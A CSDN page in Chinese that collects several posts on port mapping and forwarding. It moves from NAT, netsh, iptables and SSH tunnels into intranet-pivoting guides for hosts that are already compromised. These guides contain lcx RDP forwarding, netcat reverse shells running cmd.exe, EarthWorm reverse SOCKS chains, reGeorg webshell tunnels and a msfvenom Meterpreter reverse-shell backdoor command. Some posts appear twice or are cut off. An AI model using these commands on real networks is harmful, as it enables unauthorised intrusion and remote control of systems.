端口转发_转发器端口 - CSDN
  • 端口转发与端口映射

    2018-04-09 21:45:25
    端口映射 端口映射是NAT的一种,功能是把在公网的地址转翻译成私有地址, 采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP,ADSL直接接在HUB或交换机上,所有的电脑共享上网。 端口映射就是将外网主机的...

    端口映射

    端口映射是NAT的一种,功能是把在公网的地址转翻译成私有地址, 采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP,ADSL直接接在HUB或交换机上,所有的电脑共享上网。

    端口映射就是将外网主机的IP地址的一个端口映射到内网中一台机器,提供相应的服务。当用户访问该IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上。端口映射有动态和静态之分。

    通俗来讲,端口映射是将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机;利用端口映射功能还可以将一台外网IP地址机器的多个端口映射到内网不同机器上的不同端口。 端口映射功能还可以完成一些特定代理功能,比如代理POP,SMTP,TELNET等协议。理论上可以提供65535(总端口数)-1024(保留端口数)=64511个端口的映射。

    windows上实现端口映射

    设置端口映射
    netsh interface portproxy add v4tov4 listenport=(监听端口) listenaddress=(监听ip) connectaddress=(虚机IP) connectport=(虚机端口)
    查看映射表
    netsh interface portproxy show all
    删除映射表
    netsh interface portproxy delete v4tov4 listenport=(监听端口) listenaddress=(监听ip)
    

    linux上实现端口映射

    iptables -t nat -A PREROUTING  -m $pro -p $pro --dport $NAT_Port -j DNAT --to-destination $Dst_Host:$Dst_Port
    iptables -t nat -A POSTROUTING -m $pro -p $pro --dport $Dst_Port -d $Dst_Host -j SNAT --to-source $NAT_Host
        NAT_Pro表示NAT的协议,可以是tcp或udp
        NAT_Host表示中间做端口映射的主机。这里也就是主机A
        NAT_Port表示中间做端口映射的端口。这里也就是主机A的8080口
        Dst_Host表示被NAT的主机。这里也就是主机B
        Dst_Host表示被NAT的端口。这里也就是主机B的80

    端口转发

    端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。

    windows使用lcx.exe工具实现端口转发

    拿到公网shell和内网shell之后,外网不能访问内网,想要远程连接内网,需要做端口转发的操作,将内网的3389端口转发到公网的端口上

    模拟测试,内网ip 10.10.10.1,公网ip 16.16.16.1,内网只能和公网ping通,不能和外网ping通

    上传lcx.exe到两个服务器上

    在内网服务器中,执行命令

    lcx.exe -slave 16.16.16.1 8888 10.10.10.1 3389

    将内网3389端口转发到公网8888端口

    在公网服务器中,执行命令监听端口,并且将转发出来的东西用一个端口来接收

    lcx.exe -listen 8888 9999

    远程连接16.16.16.1:9999即是连接的内网10.10.10.1:3389

    lcx.exe还有一条命令,是将内网端口映射到公网端口

    只需要在公网服务中,执行如下命令即可

    lcx.exe -tran 8888 10.10.10.1 3389

    将内网的3389端口映射到公网8888端口上,远程连接16.16.16.1:8888即是连接内网3389

    linux使用端口转发工具

    使用portmap工具

    执行命令,查看帮助文档

    ./portmap -h

    端口转发,h1为公网ip,h2为内网ip

    ./portmap -m 3 -h1 16.16.16.1 -p1 8888 -h2 10.10.10.1 -p2 3389

    在公网ip上,还是需要监听端口,用windows监听的话就是用lcx.exe工具,用linux监听的话h还是用portmap工具

    ./portmap -m 2 -p1 8888 -p2 9999

    这里监听8888端口然后用9999端口接收

    远程连接16.16.16.1:9999即是内网的3389端口

    端口转发与端口映射的区别

    端口转发应该是将发送到内网机器指定端口的数据丢给另外一个机器的指定端口(重点是个转字)

    端口映射是本机 就跟路由器一样 你要提供WEB服务,那么就得先映射80端口 外部用户通过80端口访问你的WEB服务(外部用户访问80端口,就会被翻译为内网ip的端口)

    端口转发是两台服务器 端口映射是一个服务器

    按我的理解,比如说用本地搭建虚拟机,采用nat模式连接,外网不能访问我的虚拟机web服务,我要让外网访问,就可以将虚拟机的80端口映射到本机的8001端口,这样,外部访问本机ip:8001即是访问虚拟机的80端口。虚拟机的ip只能本机访问,在本机上设置端口映射即可,所以是一个服务器。

    虚拟机不仅能访问本机,还能访问外网ip,也就是说,可以将nat虚拟机端口转发到它能访问到的服务器上,并不局限于转发到本机。还有,虚拟机转发端口出去,需要一个服务器来监听端口并接收,所以是两个服务器。

    展开全文
  • 端口转发

    2018-12-16 19:33:43
    端口转发端口转发的类型端口转发的目的 端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个...


    端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。

    端口转发的类型

    • 本地端口转发(Local port forwarding)
    • 远程端口转发(Remote port forwarding)
    • 动态端口转发(Dynamic port forwarding)

    端口转发的作用

    • 连接内网服务器
      现实场景:一般学校的计算机网络都没有真实ip,如果想用手机远程控制/访问电脑,在两者同时连上同一个wifi时,可正常控制,但是换成手机流量时,便无法进行访问了,此时,假设存在一台有公网ip服务器,可以在内网主机使用ssh客户端使用远程端口映射,将带ip的服务器的某个端口映射为本地的ssh端口。然后登陆到公网ip服务器,在登陆进内网主机。
      例子(使用远程端口转发):
      ssh -Nf -R 远程端口:localhost:内网主机端口(本机端口) username@ip
      运行后,可通过终端先连接到服务器,在使用如下命令连接到内网主机:
      ssh username@ip -p(上一步指定的内网主机端口)
    • 安全性
      现实场景:一般数据库软件都支持远程连接,但是很少在真正部署项目时开启这项功能,因为该连接是明文的,未经加密,在安全性上没有保障,此时,可使用ssh进行本地端口转发,将本地的某个端口映射为数据库所在服务器的数据库监听端口,然后连接数据库时指定本地ip,以及上一步的用来映射的本地端口,便可以通过ssh tunnel进行简易的传输加密。
      例子(本地端口转发):
      ssh -Nf -L 1993:172.16.1.9:22 root@123.59.26.232
      ssh会在后台监听本地的1993端口,并将所有发送到该端口的数据通过跳板机123.59.26.232转发到172.16.1.9上的22端口。
    • 服务器下载所需软件包
      由于政策原因,对于外国网站的屏蔽,对于较常用的软件包,国内较为大型的企业对对应的软件包网站,都作了镜像,而对于较为新的,并且有个人需求的软件包,当我们下载时,则会大部分显示连接错误,此时,可以使用ssh进行动态端口转发,实现简易的socket代理。此时,配合proxychains4等命令行工具可以将socket流量转换为http流量,以便支持各大linux发行版的包管理器能够正常下载软件包。
      例子(动态端口转发):
      ssh -Nf -D 1080 username@ip
      (proxychain4) command 下载并配置好proxychain后,在命令前带上括号的前缀可以让命令使用代理

    端口转发:https://en.wikipedia.org/wiki/Port_forwarding
    ssh三大用途:https://www.yanxurui.cc/posts/tool/2017-07-14-ssh-port-forward/

    展开全文
  • 内网端口转发及穿透

    2019-02-28 10:55:35
    最近尝试了一些内网端口转发和内网穿透,现在一起总结一下。 0x01 正向和反向代理 正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和 server 同属一个 LAN,对 client 透明。...

    最近尝试了一些内网端口的转发和内网穿透,现在一起总结一下。

    0x01 正向和反向代理

    正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和 server 同属一个 LAN,对 client 透明。 实际上 proxy 在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。

    正向代理 (Forward Proxy)

    
     
    1. Lhost--》proxy--》Rhost

    Lhost 为了访问到 Rhost,向 proxy 发送了一个请求并且指定目标是 Rhost,然后 proxy 向 Rhost 转交请求并将获得的内容返回给 Lhost,简单来说正向代理就是 proxy 代替了我们去访问 Rhost。

    反向代理(reverse proxy)

    
     
    1. Lhost<--->proxy<--->firewall<--->Rhost

    和正向代理相反(废话),Lhost 只向 proxy 发送普通的请求,具体让他转到哪里,proxy 自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许 proxy 数据进出的时候可以有效的进行穿透

    简单区分

    正向代理代理的是客户端,反向代理代理的是服务端,正向代理是我们自己 (Lhost) 戴套 (proxy) 插进去,反向代理是她 (Rhost) 主动通过上位 (proxy) 坐上来(Lhost)。

    0x02 lcx 转发

    内网 IP:192.168.153.138
    公网 ip:192.168.153.140
    由于是本地实验,我这里将 138 的防火墙打开,当作内网环境,140 防火墙关闭,充当公网 ip,所以正常情况下 138 能访问 140,而 140 不能直接访问 138。这是两台机器互相 ping 的结果。

    1. 内网机器上执行:lcx.exe –slave 公网 IP + 端口 内网 IP + 端口

    
     
    1. lcx.exe –slave 192.168.153.140 4444 192.168.153.138 3389

    将内网 (192.168.153.138) 的 3389 端口转发到公网 (192.168.153.138) 的 4444 端口
    2. 公网 (192.168.153.138) 执行:lcx -listen 4444 5555

    监听公网 4444 端口请求,并将 4444 的请求传送给 5555 端口。
    此时已经把内网的 3389 端口转发到了公网的 5555 端口。可以通过 127.0.0.1:5555 连接到内网的远程桌面。

    0x03 nc 反弹

    正向连接

    在内网执行

    
     
    1. nc -l -p 5555 -t -e cmd.exe

    -t是通过 telne 模式执行 cmd.exe 程序,可以省略。
    在公网执行

    
     
    1. nc -nvv 192.168.153.138 5555

    反向连接

    在公网监听nc -lp 5555

    在内网机器反弹nc -t -e cmd 192.168.153.140 5555

    0x04 socks 代理工具

    常见的 socks 代理工具介绍如下
    1.Earthworm 工具网址:http://rootkiter.com/EarthWorm

    EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。

    目前已经有了最新版 Termite,工具网址:http://rootkiter.com/Termite/

    2.reGeorg 工具网址:https://github.com/NoneNotNull/reGeorg

    reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。

    3.sSocks 工具网址:http://sourceforge.net/projects/ssocks/

    sSocks 是一个 socks 代理工具套装,可用来开启 socks 代理服务,支持 socks5 验证,支持 IPV6 和 UDP,并提供反向 socks 代理服务,即将远程计算机作为 socks 代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为 0.0.14。

    4.SocksCap64 工具网址:http://www.sockscap64.com (需翻墙)

    SocksCap64 是一款在 windows 下相当好使的全局代理软件。SocksCap64 可以使 Windows 应用程序通过 SOCKS 代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持 SOCKS 代理的应用程序通过 SocksCap64 之后都可以完美的实现代理访问。

    5.proxychains 工具网址:http://proxychains.sourceforge.net/

    Proxychains 是一款在 LINUX 下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain 可使用不同类型的代理服务器

    0x04.0 ssocks

    linux 版
    安装

    
     
    1. wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
    2. tar -zxf ssocks-0.0.14.tar.gz
    3. cd ssocks-0.0.14
    4. ./configure && make
    5. cd src

    先在本地机器上执行, 一般都是你自己的 vps:

    
     
    1. ./rcsocks -l 1080 -p 1234 -v

    目标机器上执行, 实际渗透情况中加上 -b 后台运行

    
     
    1. ./rssocks -s 192.168.1.100(vps的ip):1234 -v

    然后通过本地各种 socks 代理工具配置代理即可, socks5 192.168.1.100 1080

    win 版本同理

    0x04.1 reGeorg+Proxychains 代理

    上传 reGeorg 的 tunnel.jsp 到服务器。访问链接,并转发到本地端口。

    
     
    1. python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp

    使用设置 proxychains 的代理端口,进行访问,一般配合 nmap 和 metasploit 进行后续内网渗透。ps:proxychains 不支持 udp 和 icmp 协议,所以使用 nmap 要加上-sT -Pn即使用 tcp 协议且不使用 icmp 协议。

    0x04.2 ew 穿透

    该工具借用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。

    说明

    
     
    1. 目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
    2.  
    3. ssocksd rcsocks rssocks
    4. lcx_slave lcx_tran lcx_listen
    5.  
    6. 其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
    7.  
    8. 其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
    9.  
    10. lcx 类别管道:
    11.  
    12. lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
    13. lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
    14. lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
    15.  
    16. 通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
    17.  
    18. 下面是一个三级跳的本地测试例子。。。
    19. ./ew -s rcsocks -l 1080 -e 8888
    20. ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    21. ./ew -s lcx_listen -l 9999 -e 7777
    22. ./ew -s rssocks -d 127.0.0.1 -e 7777
    23.  
    24. 数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

    0x04.2.1 正向 SOCKS5 服务器

    当目标网络边界存在公网 IP 且可任意开监听端口

    
     
    1. ew_for_Win.exe -s ssocksd -l 8888

    上述命令是在该机器(192.168.153.140)开启一个 8888 的正向连接端口。然后其它主机可通过设置代理为 192.168.153.140:8888 添加这个代理。这里使用的是 proxychains

    0x04.2.2 反弹 SOCKS5 服务器

    当目标网络边界不存在公网 IP,通过反弹方式创建 socks 代理。
    先在一台具有公网 ip 的主机 A 上运行以下命令

    
     
    1. ./ew_for_linux64 -s rcsocks -l 1080 -e 8888

    意思是在我们公网 VPS 上添加一个转接隧道,把 1080 端口收到的代理请求转交给 8888 端口

    在目标主机 B 上启动 SOCKS5 服务 并反弹到公网主机的 8888 端口

    
     
    1. ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888

    本地主机(192.168.153.129)然后通过添加公网 192.168.153.129:1080 这个代理, 来访问内网机器(192.168.153.129)
    当然如果本地主机如果是公网 ip,就可以把在公网执行的步骤放在本地执行即可。

    0x04.2.3 二级网络环境(一)

    假设我们获得了右侧 A 主机和 B 主机的控制权限,A 主机配有 2 块网卡,一块 10.129.72.168 连通外网,一块 192.168.153.140 只能连接内网 B 主机,无法访问内网其它资源。B 主机可以访问内网资源,但无法访问外网。

    先上传 ew 到 B 主机,利用 ssocksd 方式启动 8888 端口的 SOCKS 代理,命令如下

    
     
    1. ew_for_Win.exe -s ssocksd -l 8888

    然后在 A 主机执行

    
     
    1. ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888

    含义是将 1080 端口收到的代理请求转交给 B 主机(192.168.153.138)的 8888 端口
    然后 My pc 就可以通过 A 的外网代理 10.129.72.168:1080 访问 B。

    0x04.2.4 二级网络环境(二)

    假设我们获得了右侧 A 主机和 B 主机的控制权限,A 主机没有公网 IP,也无法访问内网资源。B 主机可以访问内网资源,但无法访问外网。

    这次操作有四步。

    1. 在公网 vps(45.xxx.xxx.72)添加转接隧道,将 10800 端口收到的代理请求转交给 8888 端口

      ./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

    2.B(192.168.153.138)主机正向开启 8888 端口

    
     
    1. ew_for_Win.exe -s ssocksd -l 9999

    3.A 主机利用 lcx_slave 方式,将公网 VPS 的 888 端口和 B 主机的 999 端口连接起来

    
     
    1. ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999

    现在 my pc 可通过访问 45.xxx.xxx.72:10800 来使用 192.168.153.138 主机提供的 socks5 代理,代理成功,vps 会有 rssocks cmd_socket OK! 提示

    0x05 ssh 隧道代理转发

    ssh 有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。

    
     
    1. 本地访问127.0.0.1:port1就是host:port2(用的更多)
    2. ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
    3.  
    4. 访问host:port2就是访问127.0.0.1:port1
    5. ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
    6.  
    7. 可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
    8. ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
    9.  
    10. 可以将dmz_host的hostport端口转发到remote_ip的port端口
    11. ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
    12.  
    13. socket代理:
    14. ssh -qTfnN -D port remotehost
    15.  
    16. 参数详解:
    17. -q Quiet mode. 安静模式
    18. -T Disable pseudo-tty allocation. 不占用 shell 了
    19. -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
    20. -N Do not execute a remote command. 不执行远程命令,端口转发就用它了
    21. -L port:host:hostport
    22. 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
    23. -R port:host:hostport
    24. 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
    25. -D port
    26. 指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

    0x05.1 ssh 本地转发

    远程管理服务器上的 mysql,mysql 不能直接 root 远程登陆。这时候就可以通过本地转发,通过 ssh 将服务器的 3306 端口转发到本地 1234 端口

    
     
    1. ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121

    0x05.2 ssh 远程转发

    内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。

    
     
    1. ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142

    现在在 192.168.153.142 访问 127.0.0.1:81 就是访问内网的服务器的 80 端口。

    0x05.2 ssh 动态转发 socks 代理

    把远程主机设置成代理,来代理访问不能访问的资源。在地机器上分配了一个监听端口, 一旦这个端口上有了连接, 该连接就经过 ssh 隧道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接。

    
     
    1. ssh -qTfnN -D 1080 root@45.32.31.121

    0x06 内网穿透平台

    例如 https://www.ngrok.cc/、https://natapp.cn / 等
    以 ngrok 为例,注册并开通隧道

    下载对应的客户端,下载地址为:https://www.ngrok.cc/#down-client 。
    运行

    生成 backdoor。监听的 IP 为 server.ngrok.cc 的 ip,端口为开通隧道时填写的远程端口

    
     
    1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=52524 -f exe > shell.exe

    kali 上执行

    0x07 参考

    1. SSH 隧道与端口转发及内网穿透
    2. SSH 的端口转发
    3. 内网渗透随想
    4. 从零开始内网渗透学习
    5. 内网渗透中转发工具总结
    6. MS17-010 漏洞检测与内网穿透技术的应用
    7. 内网漫游之 SOCKS 代理大结局
    8. 正向代理和反向代理的区别

    转自: http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html

    展开全文
  • 0xx01外网ip:119.29.243.165 OS:centos6.5 内网ip:192.168.53.128 OS:centos6.5 0xx02软件安装proxychains git clone ...

    0xx01

    外网ip:119.29.243.165
    OS:centos6.5

    内网ip:192.168.53.128
    OS:centos6.5

    0xx02软件安装

    proxychains

    git clone https://github.com/haad/proxychains cd proxychains ./confgure --sysconfdir=/usr/local/etc make && make install 
    
    
    earthworm 
    下载地址为http://rootkiter.com/EarthWorm/  解压 里面支持Unix Windows MAC  具体用法,自己帮助
    

    如果中间提示缺少什么插件 就yum 安装 之后 把proxychains.conf cp到/etc下面 至此安装结束。
    用法:
    proxychains4 ssh:内网ip,连接的是默认root。(rdesktop这个仅支持linux图形化界面,所以这里使用ssh,因为它支持的是linux对Windows的远程连接)

    0xx03 实例

    *实例1
    这里写图片描述
    这里写图片描述
    这里写图片描述
    这里写图片描述

    这里写图片描述
    实例2:
    环境:
    二个不能互相ping同的ip。二台Windows
    工具:
    Proxifier 怎么用看这篇文章http://igfw.net/archives/6122
    这里写图片描述
    这里写图片描述
    这里写图片描述
    这里写图片描述
    这里写图片描述

    这里写图片描述

    实例3
    环境 外网ip 二个内网不同的Windows
    这里写图片描述
    这里写图片描述
    这里写图片描述
    这里写图片描述

    展开全文
  • 内网端口转发及穿透-

    2018-09-21 10:38:50
    转 内网端口转发及穿透 最近尝试了一些内网端口的转发和内网穿透,现在一起总结一下。 0x01 正向和反向代理 正向代理中,proxy和client同属一个LAN,对server透明; 反向代理中,proxy和server同属一个...

    内网端口转发及穿透

    最近尝试了一些内网端口的转发和内网穿透,现在一起总结一下。

    0x01 正向和反向代理

    正向代理中,proxy和client同属一个LAN,对server透明; 反向代理中,proxy和server同属一个LAN,对client透明。 实际上proxy在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。

    正向代理(Forward Proxy)

    1. Lhost--》proxy--》Rhost

    Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。

    反向代理(reverse proxy)

    1. Lhost<--->proxy<--->firewall<--->Rhost

    和正向代理相反(废话),Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透

    简单区分

    正向代理代理的是客户端,反向代理代理的是服务端,正向代理是我们自己(Lhost)戴套(proxy)插进去,反向代理是她(Rhost)主动通过上位(proxy)坐上来(Lhost)。

    0x02 lcx转发

    内网IP:192.168.153.138
    公网ip:192.168.153.140
    由于是本地实验,我这里将138的防火墙打开,当作内网环境,140防火墙关闭,充当公网ip,所以正常情况下138能访问140,而140不能直接访问138。这是两台机器互相ping的结果。

    1.内网机器上执行:lcx.exe –slave 公网IP +端口 内网IP +端口

    1. lcx.exe slave 192.168.153.140 4444 192.168.153.138 3389

    将内网(192.168.153.138)的3389端口转发到公网(192.168.153.138)的4444端口
    2.公网(192.168.153.138)执行:lcx -listen 4444 5555

    监听公网4444端口请求,并将4444的请求传送给5555端口。
    此时已经把内网的3389端口转发到了公网的5555端口。可以通过127.0.0.1:5555连接到内网的远程桌面。

    0x03 nc反弹

    正向连接

    在内网执行

    1. nc -l -p 5555 -t -e cmd.exe

    -t是通过telne模式执行 cmd.exe 程序,可以省略。
    在公网执行

    1. nc -nvv 192.168.153.138 5555

    反向连接

    在公网监听nc -lp 5555

    在内网机器反弹nc -t -e cmd 192.168.153.140 5555

    0x04 socks代理工具

    常见的socks代理工具介绍如下
    1.Earthworm 工具网址:http://rootkiter.com/EarthWorm

    EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。

    目前已经有了最新版Termite,工具网址:http://rootkiter.com/Termite/

    2.reGeorg 工具网址:https://github.com/NoneNotNull/reGeorg

    reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。

    3.sSocks 工具网址:http://sourceforge.net/projects/ssocks/

    sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.13。

    4.SocksCap64 工具网址:http://www.sockscap64.com (需翻墙)

    SocksCap64是一款在windows下相当好使的全局代理软件。SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持SOCKS代理的应用程序通过SocksCap64之后都可以完美的实现代理访问。

    5.proxychains 工具网址:http://proxychains.sourceforge.net/

    Proxychains是一款在LINUX下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服务器,支持proxy chain,即可配置多个代理,同一個proxy chain可使用不同类型的代理服务器

    0x04.1 reGeorg+Proxychains代理

    上传reGeorg的tunnel.jsp到服务器。访问链接,并转发到本地端口。

    1. python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp

    使用设置proxychains的代理端口,进行访问,一般配合nmap和metasploit进行后续内网渗透。ps:proxychains不支持udp和icmp协议,所以使用nmap要加上-sT -Pn即使用tcp协议且不使用icmp协议。

    0x04.2 ew穿透

    该工具借用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。

    说明

    1. 目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
    2. ssocksd rcsocks rssocks
    3. lcx_slave lcx_tran lcx_listen
    4. 其中 SOCKS5 服务的核心逻辑支持由 ssocksd rssocks 提供,分别对应正向与反向socks代理。
    5. 其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
    6. lcx 类别管道:
    7. lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
    8. lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
    9. lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
    10. 通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
    11. 下面是一个三级跳的本地测试例子。。。
    12. ./ew -s rcsocks -l 1080 -e 8888
    13. ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    14. ./ew -s lcx_listen -l 9999 -e 7777
    15. ./ew -s rssocks -d 127.0.0.1 -e 7777
    16. 数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
    0x04.2.1 正向SOCKS5服务器

    当目标网络边界存在公网IP且可任意开监听端口

    1. ew_for_Win.exe -s ssocksd -l 8888

    上述命令是在该机器(192.168.153.140)开启一个8888的正向连接端口。然后其它主机可通过设置代理为 192.168.153.140:8888添加这个代理。这里使用的是proxychains

    0x04.2.2 反弹SOCKS5服务器

    当目标网络边界不存在公网IP,通过反弹方式创建socks代理。
    先在一台具有公网 ip 的主机A上运行以下命令

    1. ./ew_for_linux64 -s rcsocks -l 1080 -e 8888

    意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给8888端口

    在目标主机B上启动SOCKS5服务 并反弹到公网主机的8888端口

    1. ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888

    本地主机(192.168.153.129)然后通过添加公网192.168.153.129:1080这个代理,来访问内网机器(192.168.153.129)
    当然如果本地主机如果是公网ip,就可以把在公网执行的步骤放在本地执行即可。

    0x04.2.3 二级网络环境(一)

    假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块10.129.72.168连通外网,一块192.168.153.140只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。

    先上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下

    1. ew_for_Win.exe -s ssocksd -l 8888

    然后在A主机执行

    1. ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888

    含义是将1080端口收到的代理请求转交给B主机(192.168.153.138)的8888端口
    然后My pc就可以通过A的外网代理10.129.72.168:1080访问B。

    0x04.2.4 二级网络环境(二)

    假设我们获得了右侧A主机和B主机的控制权限,A主机没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。

    这次操作有四步。

    1. 在公网vps(45.xxx.xxx.72)添加转接隧道,将10800端口收到的代理请求转交给8888端口

      ./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

    2.B(192.168.153.138)主机正向开启8888端口

    1. ew_for_Win.exe -s ssocksd -l 9999

    3.A主机利用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来

    1. ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999

    现在my pc可通过访问45.xxx.xxx.72:10800来使用192.168.153.138主机提供的socks5代理,代理成功,vps会有rssocks cmd_socket OK!提示

    0x05 ssh隧道代理转发

    ssh有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。

